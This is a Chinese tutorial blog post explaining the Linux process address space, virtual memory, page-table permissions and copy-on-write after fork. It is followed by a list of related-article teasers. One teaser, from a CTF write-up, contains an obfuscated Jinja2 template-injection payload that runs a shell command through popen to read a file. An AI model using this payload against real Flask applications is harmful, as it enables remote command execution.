Linux进程地址空间

Linux进程地址空间

  • 一.语言上的内存分区
    • 1.内存分区的理论说明
    • 2.内存分区的代码验证
    • 3.一个"奇怪"的现象
  • 二.进程地址空间
    • 1.现象解释
    • 2.什么是进程地址空间
    • 3.页表的权限属性与重新理解写时拷贝
    • 4 .为什么要有进程地址空间和页表
    • 5.用进程地址空间解释一些问题
      • 1.为何进程之间是具有独立性的
      • 2.申请内存的本质

在学习fork函数的时候父子进程的返回值不同
而且可以使用一个变量来分别表示父子进程的pid
在这里插入图片描述
当时我们说这个涉及到写时拷贝的知识,
而且说了一句当时看起来比较"奇怪"的话

在Linux中,可以用同一个变量名来表示不同的内存

我们肯定非常好奇Linux是如何做到的呢?
这就需要先介绍一下进程地址空间的问题了
当我们了解完进程地址空间之后,写时拷贝的问题就迎刃而解了

要想更好地理解进程地址空间的概念,我们可以从我们C语言学习过程中听说过,或者说是了解过的内存分区这个概念开始谈起

一.语言上的内存分区

1.内存分区的理论说明

经过我们C语言的学习
对于下面这个图,大家应该并不陌生
在这里插入图片描述
其实:下面这张图才是更加完整的版本:
在这里插入图片描述
主要是又添加了命令行参数和环境变量(它们是位于栈区上方的)
栈区和堆区之间有共享区(这一点不是我们本节的内容)
静态区细分为未初始化数据和已初始化数据

为了更好地帮助大家理解,我们写一段代码带大家验证一下

2.内存分区的代码验证

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
栈区的地址和增长方向,
堆区的地址和增长方向,
静态区和代码段的地址我们都验证过了
下面我们来验证一下命令行参数和环境变量的地址是否比栈区的地址大即可

我们修改一下code.c

其实:
1.命令行参数和环境变量的地址是大于栈区地址的
2.指向命令行参数和环境变量的指针的地址也是大于栈区地址的
3.环境变量的地址大于命令行参数的地址

我们先来验证一下
第2,3条
在这里插入图片描述
在这里插入图片描述
再来验证一下第1,3条
在这里插入图片描述
在这里插入图片描述
验证成功
其实:
正是因为命令行参数和环境变量在内存中也有自己的一席之地
因此它们才能够做到在程序的运行过程中一直存在

3.一个"奇怪"的现象

至此相信大家已经对语言角度上的内存分区有了比较清晰的认识
下面再给大家看一份代码
在这里插入图片描述
这份代码的意思是:
前5s,父子进程同时运行,此时子进程还没有修改val
打印父子进程中val的值和val的地址

前5s结束后,子进程修改val
打印父子进程中val的值和val的地址
在这里插入图片描述
在这里插入图片描述
其实,我们刚才介绍的那个内存分区并不是真正的物理内存的分区
而是进程地址空间
在这里插入图片描述

我们在这里打印出来的地址并不是物理地址,而是虚拟地址(也叫做线性地址)
也就是说我们在C语言或者C++或者等等任何语言中所学习的,所用到的所有地址其实都不是物理地址,而是虚拟地址

这些虚拟地址跟物理内存之间有某种映射关系,一一对应于物理地址

不过我们不要担心,学习语言时,按照虚拟地址去学习即可,语言内部已经帮助我们处理好任何我们所能想到的问题了

二.进程地址空间

1.现象解释

首先,我们要明确一点:

所有的变量名,函数名等等
在编译之后都会变成该变量,该函数的地址!

我们先抛出结论,解释一下这个现象,然后我们再去详细介绍进程地址空间
在这里插入图片描述
结合下面的图片来看
这是刚创建子进程之后
在这里插入图片描述
这时发生写时拷贝之后
在这里插入图片描述
下面我们就能够解释一下为什么

在Linux中,可以用同一个变量名来表示不同的内存

因为在父子进程中同一变量名尽管对应于相同的虚拟内存地址
但是那个相同的虚拟内存地址却对应于不同的物理内存地址,因此可以用同一个变量名来表示不同的内存

也正是因此,那个变量val在父进程中的值是10,在子进程中的值是99,
而且父子进程中val的虚拟地址也可以相同

2.什么是进程地址空间

每一个进程,都会存在一个进程地址空间,在32位平台下,有0到4个GB
进程地址空间是一个结构体对象
在这里插入图片描述

3.页表的权限属性与重新理解写时拷贝

页表也是一个结构体,它不仅仅存放了虚拟地址和物理地址的映射关系,它的结构也是很复杂的,我们在这里介绍一下页表的权限属性

val所对应的物理内存的数据对于父子进程来说是只读属性

数据段和代码段对于父子进程来说是共享的,不能允许它们随意修改,因此它们的权限都是r权限

在子进程刚被创建之后,此时还没有发生写时拷贝
在这里插入图片描述
当我们想要修改这个数据时:
在这里插入图片描述
上面是合理的请求
下面给大家演示一下不合理的请求:
在C语言的学习过程中,大家可能都听说过字符串具有常性,不能修改
为什么不能修改呢?
其实就是因为在我们想要修改的时候,触发缺页中断,操作系统认为这样是不合理的,因此把我们的进程干掉了,因此我们的程序就报错了
在这里插入图片描述
注意:gcc编译器是允许char*指向一个字符串的
不需要加const
在这里插入图片描述
Segmentation fault:段错误
此时因为页表映射时的权限只有r,没有w,因此字符串常量不能被修改
也就是说是这个行为是在操作系统层面上阻止的,跟语言无关

4 .为什么要有进程地址空间和页表

在这里插入图片描述

5.用进程地址空间解释一些问题

1.为何进程之间是具有独立性的

我们知道:

进程=内核数据结构+代码和数据

在这里插入图片描述

2.申请内存的本质

在这里插入图片描述

以上就是Linux进程地址空间的全部内容,希望能对大家有所帮助!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/214646.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

android 13.0 去掉recovery模式UI操作页面的菜单选项

1.概述 在13.0进行系统rom定制化开发中,在进行一些定制化开发中,会根据需要在进入recovery模式的时候,去掉recovery模式的一些菜单选项, Reboot to bootloader,Enter rescue等菜单项,经过分析得知, 就是在device.cpp去掉一些菜单选项就可以了,接下来就来分析实现相关功…

从Centos-7升级到Centos-Stream-8

如果在正式环境升级,请做好数据备份以及重要配置备份!因为升级会造一部分应用被卸载。 注意:升级前请备份好数据,升级可能会导致ssh的root用户无法登陆、网卡名称发生改变、引导丢失无法开机等问题。 1.安装epel源 yum -y install…

Redis生产实战-Redis集群故障探测以及降级方案设计

Redis 集群故障探测 在生产环境中,如果 Redis 集群崩溃了,那么会导致大量的请求打到数据库中,会导致整个系统都崩溃,所以系统需要可以识别缓存故障,限流保护数据库,并且启动接口的降级机制 降级方案设计 …

【EI征稿中|ACM出版】2023 人工智能、系统与网络安全国际学术会议 (AISNS 2023)

2023 人工智能、系统与网络安全国际学术会议 (AISNS 2023) 2023 International Conference on Artificial Intelligence, Systems and Network Security 由西南科技大学计算机科学与技术学院主办的2023人工智能、系统与网络安全国际学术会议 (AISNS 2023&#xff…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

【已解决】解决UbuntuKali无法进行SSH远程连接

目录 Ubuntu20.04配置SSH远程连接Kali Linux配置SSH远程连接 Ubuntu20.04配置SSH远程连接 首先更新安装包 sudo apt-get update 下载SSH服务 sudo apt install openssh-server 查看SSH服务 service ssh status 打开 /etc/ssh/sshd_config文件修改配置文件 将PermitRootLog…

秋招春招,我没有拿到一个offer怎么办?

无论是秋招,还是春招,对于应届毕业生来说,都是最佳的拿offer的时机,当然错过了也不是绝境,机会无处不在,只是说校招是最好的机会。希望朋友们重视起来,积极的争取到满意的工作岗位。 从竞争的角…

MyBatis 常见面试题

目录 1.MyBatis——概述1.1.什么是 ORM 框架?1.2.✨谈谈对 MyBatis 的理解。1.3.使用 MyBatis 相对于直接使用 SQL 有哪些优点?1.4.MyBatis 有什么优缺点?1.5.✨MyBatis 的分层结构是什么样的?1.6.✨MyBatis 的执行流程是什么样的…

【Spring教程22】Spring框架实战:Spring事务角色与 Spring事务属性、事务传播行为代码示例详解

目录 1.Spring事务角色1.1 未开启Spring事务之前:1.2 开启Spring的事务管理后2 Spring事务属性2.1 事务配置2.2 转账业务追加日志案例2.2.1 需求分析2.2.2 环境准备 2.3 事务传播行为2.3.1.修改logService改变事务的传播行为2.3.2 事务传播行为的可选值 欢迎大家回到《 Java教…

vs2017+qt5.14.2遇到的问题

1、在安装qt插件后,导入pro文件时,报 msvc-version.conf loaded but QMAKE_MSC_VER isn’t set 修改E:\Qt\Qt5.14.2\5.14.2\msvc2017_64\mkspecs\common\msvc-version.conf文件中添加

Leetcode1466. 重新规划路线

Every day a Leetcode 题目来源:1466. 重新规划路线 解法1:深度优先搜索 n 座城市,从 0 到 n-1 编号,其间共有 n-1 条路线。 因此,要想在两座不同城市之间旅行只有唯一一条路线可供选择(路线网形成一颗…

学会这些可以升职加薪!EXCEL基础函数入门【一】

俗话说得好,Excel用得好,工资涨得高。什么值得买生活家追梦小仙女介绍一些Excel的常用函数吧~ 正文: 今天呢,刚好心血来潮,就EXCEL常用 的函数功能做一些介绍,学excel需要举一反三,楼主从事的…

持续集成交付CICD:GitLabCI上传Nexus制品

目录 一、实验 1.GitLabCI上传Nexus制品 2.优化GitLabCI(引用系统变量) 3.添加if条件判断项目类型 4.优化GitLabCI(模板类) 二、问题 1.GitLabCI获取jar文件失败 2. GitLabCI获取流水线项目命名空间失败 一、实验 1.GitL…

qt creator配置opencv库 (MSVC版本)

目录 1. MSVC版本 1.1 使用cmake编译opencv 1.2 再使用visual studio 2019生成opencv的lib,dll 1.3 配置opencv的系统环境变量 1.4 新建qt项目 1. MSVC版本 1.1 使用cmake编译opencv 1.2 再使用visual studio 2019生成opencv的lib,dll 1.3 配置opencv的系统环境变量 D:…

arm-none-eabi-gcc not find

解决办法:安装:gcc-arm-none-eabi sudo apt install gcc-arm-none-eabi; 如果上边解决问题了就不用管了,如果解决不了,加上下面这句试试运气: $ sudo apt-get install lsb-core看吧方正我是运气还不错,感…

Java架构师系统架构实现高内聚低耦合

目录 1 导语2 边界内聚耦合概述3 聚焦内聚4 关注耦合5 如何实现高内聚低耦合6 内聚耦合规划不当的效果7 总结想学习架构师构建流程请跳转:Java架构师系统架构设计 1 导语 架构设计的核心维度,从系统的扩展性、高性能、高可用、高安全性和伸缩性五个维度进行了探讨,并介绍了…

指针(笔记1)

一、内存和地址 内存及其管理方法: 1.计算机主存储器由一个一个存储单元组成,微型计算机以字节作为存储单元 2.内存区的每一个字节有一个唯一的编号,这就是“地址”,它相当于教学楼中的教室号 3.内存地址,是一个无符号整数(un…

ConcurrentModificationException日志关键字报警引发的思考

本文将记录和分析日志中的ConcurrentModificationException关键字报警,还有一些我的思考,希望对大家有帮助。 一、背景 近期,在日常的日志关键字报警分析时,发现我负责的一个电商核心系统在某时段存在较多ConcurrentModificatio…

有趣的数学 用示例来阐述什么是初值问题一

一、初值问题简述 在多变量微积分中,初值问题是一个常微分方程以及一个初始条件,该初始条件指定域中给定点处未知函数的值。在物理学或其他科学中对系统进行建模通常相当于解决初始值问题。 通常给定的微分方程有无数个解,因此我们很自然地会…

【Proteus仿真】【51单片机】光照强度检测系统

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 本项目使用Proteus8仿真51单片机控制器,使共阴数码管,PCF8591 ADC模块、光敏传感器等。 主要功能: 系统运行后,数码管显示光传感器采集光照强度值&#xff…